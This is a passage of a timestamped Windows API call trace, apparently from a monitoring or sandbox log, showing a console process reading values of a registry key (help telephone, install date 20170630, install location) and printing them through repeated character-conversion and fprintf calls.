returned 0x50 [0150.556] _errno () returned 0x204bb0 [0150.556] GetFileType (hFile=0x50) returned 0x1 [0150.556] lstrlenW (lpString=" ") returned 4 [0150.556] GetConsoleOutputCP () returned 0x1b5 [0150.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.557] GetConsoleOutputCP () returned 0x1b5 [0150.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.557] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.557] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.557] __iob_func () returned 0x7fefd702a80 [0150.557] _fileno (_File=0x7fefd702ab0) returned 1 [0150.557] _errno () returned 0x204bb0 [0150.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.557] _errno () returned 0x204bb0 [0150.557] GetFileType (hFile=0x50) returned 0x1 [0150.557] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.557] GetConsoleOutputCP () returned 0x1b5 [0150.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.557] GetConsoleOutputCP () returned 0x1b5 [0150.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.557] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.557] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.557] __iob_func () returned 0x7fefd702a80 [0150.557] _fileno (_File=0x7fefd702ab0) returned 1 [0150.557] _errno () returned 0x204bb0 [0150.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.557] _errno () returned 0x204bb0 [0150.557] GetFileType (hFile=0x50) returned 0x1 [0150.557] lstrlenW (lpString=" ") returned 4 [0150.558] GetConsoleOutputCP () returned 0x1b5 [0150.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.558] GetConsoleOutputCP () returned 0x1b5 [0150.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.558] __iob_func () returned 0x7fefd702a80 [0150.558] _fileno (_File=0x7fefd702ab0) returned 1 [0150.558] _errno () returned 0x204bb0 [0150.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.558] _errno () returned 0x204bb0 [0150.558] GetFileType (hFile=0x50) returned 0x1 [0150.558] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0150.558] GetConsoleOutputCP () returned 0x1b5 [0150.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0150.558] GetConsoleOutputCP () returned 0x1b5 [0150.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0150.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0150.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.559] __iob_func () returned 0x7fefd702a80 [0150.559] _fileno (_File=0x7fefd702ab0) returned 1 [0150.559] _errno () returned 0x204bb0 [0150.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.559] _errno () returned 0x204bb0 [0150.559] GetFileType (hFile=0x50) returned 0x1 [0150.559] lstrlenW (lpString="\n") returned 1 [0150.559] GetConsoleOutputCP () returned 0x1b5 [0150.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.559] GetConsoleOutputCP () returned 0x1b5 [0150.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.559] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.559] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0150.559] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.559] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.559] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.559] GetProcessHeap () returned 0x3c0000 [0150.559] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.559] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.560] __iob_func () returned 0x7fefd702a80 [0150.560] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.560] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.560] _fileno (_File=0x7fefd702ab0) returned 1 [0150.560] _errno () returned 0x204bb0 [0150.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.560] _errno () returned 0x204bb0 [0150.560] GetFileType (hFile=0x50) returned 0x1 [0150.560] lstrlenW (lpString=" ") returned 4 [0150.560] GetConsoleOutputCP () returned 0x1b5 [0150.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.560] GetConsoleOutputCP () returned 0x1b5 [0150.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.560] lstrlenW (lpString="HelpTelephone") returned 13 [0150.560] __iob_func () returned 0x7fefd702a80 [0150.560] _fileno (_File=0x7fefd702ab0) returned 1 [0150.560] _errno () returned 0x204bb0 [0150.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.560] _errno () returned 0x204bb0 [0150.560] GetFileType (hFile=0x50) returned 0x1 [0150.560] lstrlenW (lpString="HelpTelephone") returned 13 [0150.560] GetConsoleOutputCP () returned 0x1b5 [0150.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.561] GetConsoleOutputCP () returned 0x1b5 [0150.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.561] __iob_func () returned 0x7fefd702a80 [0150.561] _fileno (_File=0x7fefd702ab0) returned 1 [0150.561] _errno () returned 0x204bb0 [0150.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.561] _errno () returned 0x204bb0 [0150.561] GetFileType (hFile=0x50) returned 0x1 [0150.561] lstrlenW (lpString=" ") returned 4 [0150.561] GetConsoleOutputCP () returned 0x1b5 [0150.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.561] GetConsoleOutputCP () returned 0x1b5 [0150.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.561] __iob_func () returned 0x7fefd702a80 [0150.561] _fileno (_File=0x7fefd702ab0) returned 1 [0150.561] _errno () returned 0x204bb0 [0150.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.561] _errno () returned 0x204bb0 [0150.562] GetFileType (hFile=0x50) returned 0x1 [0150.562] lstrlenW (lpString="REG_SZ") returned 6 [0150.562] GetConsoleOutputCP () returned 0x1b5 [0150.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.562] GetConsoleOutputCP () returned 0x1b5 [0150.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.562] __iob_func () returned 0x7fefd702a80 [0150.562] _fileno (_File=0x7fefd702ab0) returned 1 [0150.562] _errno () returned 0x204bb0 [0150.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.562] _errno () returned 0x204bb0 [0150.562] GetFileType (hFile=0x50) returned 0x1 [0150.562] lstrlenW (lpString=" ") returned 4 [0150.562] GetConsoleOutputCP () returned 0x1b5 [0150.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.562] GetConsoleOutputCP () returned 0x1b5 [0150.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.563] __iob_func () returned 0x7fefd702a80 [0150.563] _fileno (_File=0x7fefd702ab0) returned 1 [0150.563] _errno () returned 0x204bb0 [0150.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.563] _errno () returned 0x204bb0 [0150.563] GetFileType (hFile=0x50) returned 0x1 [0150.563] lstrlenW (lpString="") returned 0 [0150.563] __iob_func () returned 0x7fefd702a80 [0150.563] _fileno (_File=0x7fefd702ab0) returned 1 [0150.563] _errno () returned 0x204bb0 [0150.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.563] _errno () returned 0x204bb0 [0150.563] GetFileType (hFile=0x50) returned 0x1 [0150.563] lstrlenW (lpString="\n") returned 1 [0150.563] GetConsoleOutputCP () returned 0x1b5 [0150.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.564] GetConsoleOutputCP () returned 0x1b5 [0150.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.564] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.564] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.564] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.564] GetProcessHeap () returned 0x3c0000 [0150.564] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.564] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.564] __iob_func () returned 0x7fefd702a80 [0150.564] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.564] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.564] _fileno (_File=0x7fefd702ab0) returned 1 [0150.564] _errno () returned 0x204bb0 [0150.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.564] _errno () returned 0x204bb0 [0150.564] GetFileType (hFile=0x50) returned 0x1 [0150.564] lstrlenW (lpString=" ") returned 4 [0150.565] GetConsoleOutputCP () returned 0x1b5 [0150.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.565] GetConsoleOutputCP () returned 0x1b5 [0150.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.565] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.565] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.565] lstrlenW (lpString="InstallDate") returned 11 [0150.565] __iob_func () returned 0x7fefd702a80 [0150.565] _fileno (_File=0x7fefd702ab0) returned 1 [0150.565] _errno () returned 0x204bb0 [0150.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.565] _errno () returned 0x204bb0 [0150.565] GetFileType (hFile=0x50) returned 0x1 [0150.565] lstrlenW (lpString="InstallDate") returned 11 [0150.565] GetConsoleOutputCP () returned 0x1b5 [0150.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.565] GetConsoleOutputCP () returned 0x1b5 [0150.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.565] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.565] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.566] __iob_func () returned 0x7fefd702a80 [0150.566] _fileno (_File=0x7fefd702ab0) returned 1 [0150.566] _errno () returned 0x204bb0 [0150.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.566] _errno () returned 0x204bb0 [0150.566] GetFileType (hFile=0x50) returned 0x1 [0150.566] lstrlenW (lpString=" ") returned 4 [0150.566] GetConsoleOutputCP () returned 0x1b5 [0150.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.566] GetConsoleOutputCP () returned 0x1b5 [0150.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.566] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.566] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.566] __iob_func () returned 0x7fefd702a80 [0150.566] _fileno (_File=0x7fefd702ab0) returned 1 [0150.566] _errno () returned 0x204bb0 [0150.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.566] _errno () returned 0x204bb0 [0150.566] GetFileType (hFile=0x50) returned 0x1 [0150.566] lstrlenW (lpString="REG_SZ") returned 6 [0150.566] GetConsoleOutputCP () returned 0x1b5 [0150.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.566] GetConsoleOutputCP () returned 0x1b5 [0150.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.567] __iob_func () returned 0x7fefd702a80 [0150.567] _fileno (_File=0x7fefd702ab0) returned 1 [0150.567] _errno () returned 0x204bb0 [0150.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.567] _errno () returned 0x204bb0 [0150.567] GetFileType (hFile=0x50) returned 0x1 [0150.567] lstrlenW (lpString=" ") returned 4 [0150.567] GetConsoleOutputCP () returned 0x1b5 [0150.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.567] GetConsoleOutputCP () returned 0x1b5 [0150.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.567] __iob_func () returned 0x7fefd702a80 [0150.567] _fileno (_File=0x7fefd702ab0) returned 1 [0150.567] _errno () returned 0x204bb0 [0150.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.567] _errno () returned 0x204bb0 [0150.567] GetFileType (hFile=0x50) returned 0x1 [0150.567] lstrlenW (lpString="20170630") returned 8 [0150.567] GetConsoleOutputCP () returned 0x1b5 [0150.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.568] GetConsoleOutputCP () returned 0x1b5 [0150.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.568] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.568] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.568] __iob_func () returned 0x7fefd702a80 [0150.568] _fileno (_File=0x7fefd702ab0) returned 1 [0150.568] _errno () returned 0x204bb0 [0150.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.568] _errno () returned 0x204bb0 [0150.568] GetFileType (hFile=0x50) returned 0x1 [0150.568] lstrlenW (lpString="\n") returned 1 [0150.568] GetConsoleOutputCP () returned 0x1b5 [0150.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.568] GetConsoleOutputCP () returned 0x1b5 [0150.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.568] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.568] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.568] GetProcessHeap () returned 0x3c0000 [0150.568] GetProcessHeap () returned 0x3c0000 [0150.568] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.568] GetProcessHeap () returned 0x3c0000 [0150.569] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.569] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0150.569] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.569] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.569] GetProcessHeap () returned 0x3c0000 [0150.569] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.569] GetProcessHeap () returned 0x3c0000 [0150.569] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.569] GetProcessHeap () returned 0x3c0000 [0150.569] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.569] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.569] __iob_func () 